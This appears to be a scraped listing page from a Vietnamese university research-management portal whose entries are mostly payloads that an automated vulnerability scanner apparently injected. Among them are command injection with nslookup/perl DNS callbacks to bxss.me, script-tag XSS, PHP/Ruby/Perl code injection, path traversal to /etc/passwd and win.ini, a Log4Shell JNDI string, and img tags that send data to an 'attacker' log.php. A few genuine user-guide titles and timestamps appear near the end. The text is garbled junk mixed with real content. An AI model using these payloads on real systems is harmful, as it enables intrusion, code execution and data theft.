;(nslookup hitwvhzrfpkncbc883.bxss.me||perl -e "gethostbyname('hitwvhzrfpkncbc883.bxss.me')")|(nslookup hitwvhzrfpkncbc883.bxss.me||perl -e "gethostbyname('hitwvhzrfpkncbc883.bxss.me')")&(nslookup hitwvhzrfpkncbc883.bxss.me||perl -e "gethostbyname('hitwvhzrfpkncbc883.bxss.me')") 0

`(nslookup hitdmncaissml0dc1b.bxss.me||perl -e "gethostbyname('hitdmncaissml0dc1b.bxss.me')")` 0

|(nslookup hitzpnglvyiqs3d4f0.bxss.me||perl -e "gethostbyname('hitzpnglvyiqs3d4f0.bxss.me')") 0

&(nslookup hitttzyocroau01ccf.bxss.me||perl -e "gethostbyname('hitttzyocroau01ccf.bxss.me')")&'\"`0&(nslookup hitttzyocroau01ccf.bxss.me||perl -e "gethostbyname('hitttzyocroau01ccf.bxss.me')")&`' 0

'"() 0

1 0

response.write(9945534*9835339) 0

$(nslookup hitrwsvulqtpr2bd0b.bxss.me||perl -e "gethostbyname('hitrwsvulqtpr2bd0b.bxss.me')") 0

1 0

acux6174%C0%BEz1%C0%BCz2a%90bcxuca6174 0

1 0

acu7675%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7675 0

1 0

<th:t="${acx}#foreach 0

1 0

19717566 0

1 0

'.print(md5(31337)).' 0

'"()&%<acx><ScRiPt >4mOq(9354)</ScRiPt> 0

1 0

<!-- 0

'" 0

1 0

1'"()&%<acx><ScRiPt >4mOq(9244)</ScRiPt> 0

1 0

bxss.me 0

1 0

"+response.write(9680274*9625434)+" 0

'+response.write(9680274*9625434)+' 0

response.write(9680274*9625434) 0

1 0

http://bxss.me/t/fit.txt%3F.jpg 0

1 0

/xfs.bxss.me 0

../1 0

(nslookup hitnlminyjnrw4eaa5.bxss.me||perl -e "gethostbyname('hitnlminyjnrw4eaa5.bxss.me')") 0

|echo buivzb$()\ swalwl\nz^xyu||a #' |echo buivzb$()\ swalwl\nz^xyu||a #|" |echo buivzb$()\ swalwl\nz^xyu||a # 0

1 0

0 &echo pqebkm$()\ bakzbn\nz^xyu||a #' &echo pqebkm$()\ bakzbn\nz^xyu||a #|" &echo pqebkm$()\ bakzbn\nz^xyu||a # 0

echo ytncgr$()\ yemoer\nz^xyu||a #' &echo ytncgr$()\ yemoer\nz^xyu||a #|" &echo ytncgr$()\ yemoer\nz^xyu||a # 0

../1 0

1 0

${@print(md5(31337))}\ 0

1 0

${@print(md5(31337))} 0

";print(md5(31337));$a=" 0

1 0

';print(md5(31337));$a=' 0

1 0

'+'A'.concat(70-3).concat(22*4).concat(108).concat(67).concat(109).concat(74)+(require'socket' Socket.gethostbyname('hitcg'+'oznvflwp37fc2.bxss.me.')[3].to_s)+' 0

v4iWKe6T 0

"+"A".concat(70-3).concat(22*4).concat(110).concat(83).concat(104).concat(82)+(require"socket" Socket.gethostbyname("hitbm"+"ishmvbghe7187.bxss.me.")[3].to_s)+" 0

../../../../../../../../../../../../../../windows/win.ini 0

1 0

../../../../../../../../../../../../../../etc/passwd 0

1 0

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0

1 0

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0

1 0

^(#$!@#$)(()))****** 0

1 0

bxss.me/t/xss.html?%00 0

1 0

HttP://bxss.me/t/xss.html?%00 0

1 0

<%={{={@{#{${acx}}%> 0

1 0

../../../../../../../../../../../../../../windows/win.ini 0

../../../../../../../../../../../../../../etc/passwd 0

1 0

^(#$!@#$)(()))****** 0

!(()&&!||| 0

1 0

'+'A'.concat(70-3).concat(22*4).concat(109).concat(85).concat(112).concat(72)+(require'socket' Socket.gethostbyname('hitze'+'nnkctqxhf3c89.bxss.me.')[3].to_s)+' 0

) 0

"+"A".concat(70-3).concat(22*4).concat(122).concat(74).concat(114).concat(82)+(require"socket" Socket.gethostbyname("hittu"+"tdjoehom3dd43.bxss.me.")[3].to_s)+" 0

1 0

acux2254%C0%BEz1%C0%BCz2a%90bcxuca2254 0

) 0

acu1200%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1200 0

".gethostbyname(lc("hitnh"."nwtwehnead934.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(83).chr(97).chr(69)." 0

'.gethostbyname(lc('hitjx'.'smdoeuyx5a128.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(86).chr(109).chr(86).' 0

1 0

".gethostbyname(lc("hitec"."kbczaxrd66ac7.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(71).chr(108).chr(90)." 0

1 0

bxss.me 0

http://bxss.me/t/fit.txt%3F.jpg 0

1 0

Http://bxss.me/t/fit.txt 0

1some_inexistent_file_with_long_name%00.jpg 0

'.gethostbyname(lc('hithb'.'znctmskp62aa0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(85).chr(102).chr(77).' 0

1 0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0

1 0

${j${::-n}di:dns${::-:}//hitdrjqopfqkoe79c1${::-.}bxss.me} 0

1 0

19911837 0

1 0

'"()&%<acx><ScRiPt >5i0w(9269)</ScRiPt> 0

1 0

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0

1'"()&%<acx><ScRiPt >5i0w(9513)</ScRiPt> 0

1 0

bxss.me/t/xss.html?%00 0

1 0

'"() 0

0 1 0

HttP://bxss.me/t/xss.html?%00 0

${9999458+9999033} 0

1 0

Http://bxss.me/t/fit.txt 0

1some_inexistent_file_with_long_name%00.jpg 0

1 0

/../../../../../../../../../../windows/system32/BITSADMIN.exe 0

1 0

0 1 0

1&n919028=v913245 0

1 0

/xfs.bxss.me 0

1 0

dDy3JQUl 0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0

1 0

/../../../../../../../../../../windows/system32/BITSADMIN.exe 0

1 0

${9999593+9999152} 0

1 0

1<esi:include src="http://bxss.me/rpb.png"/> 0

1 0

${j${::-n}di:dns${::-:}//hitdybsazjrkr89117${::-.}bxss.me} 0

1 0

<!-- 0

1 0

'" 0

1 0

1B30EFKeSSO 0

1 0

Quyển 5: HDSD Kê khai hoạt động KH&CN: Đơn vị (Khoa/Viện/Phòng ban/ Trung tâm) 753

Quyển 4: HDSD Kê khai hoạt động KH&CN: Cán bộ viên chức, giảng viên 2168

Quyển 1: HDSD Cập nhật và quản lý LLKH. Vai trò: Cán bộ/Giảng viên/Người nghiên cứu 1247

Quyển 3: HDSD Đề xuất và quản lý Nhiệm vụ KH&CN. Vai trò: Đơn vị chủ trì 947

1

7/27/2024 5:09:38 AM 15

1

7/27/2024 5:09:38 AM 15

1

7/27/2024 5:09:37 AM 14

Xem thêm

1

7/27/2024 5:39:08 AM 14

1

7/27/2024 5:39:08 AM 14

1

7/27/2024 5:39:07 AM 14

1<ax2XUsT<

7/27/2024 5:39:06 AM 13

Xem thêm

1<aD4jofg<

7/27/2024 8:24:33 AM 3

1<img sRc='http://attacker-9432/log.php?

7/27/2024 8:24:31 AM 3

1<aiKL9xF x=9939>

7/27/2024 8:24:31 AM 4

Xem thêm

1<akfchi8<

7/27/2024 11:26:31 AM 2

1<img sRc='http://attacker-9385/log.php?

7/27/2024 11:26:31 AM 4

1<aDhiqKc x=9718>

7/27/2024 11:26:30 AM 3

Xem thêm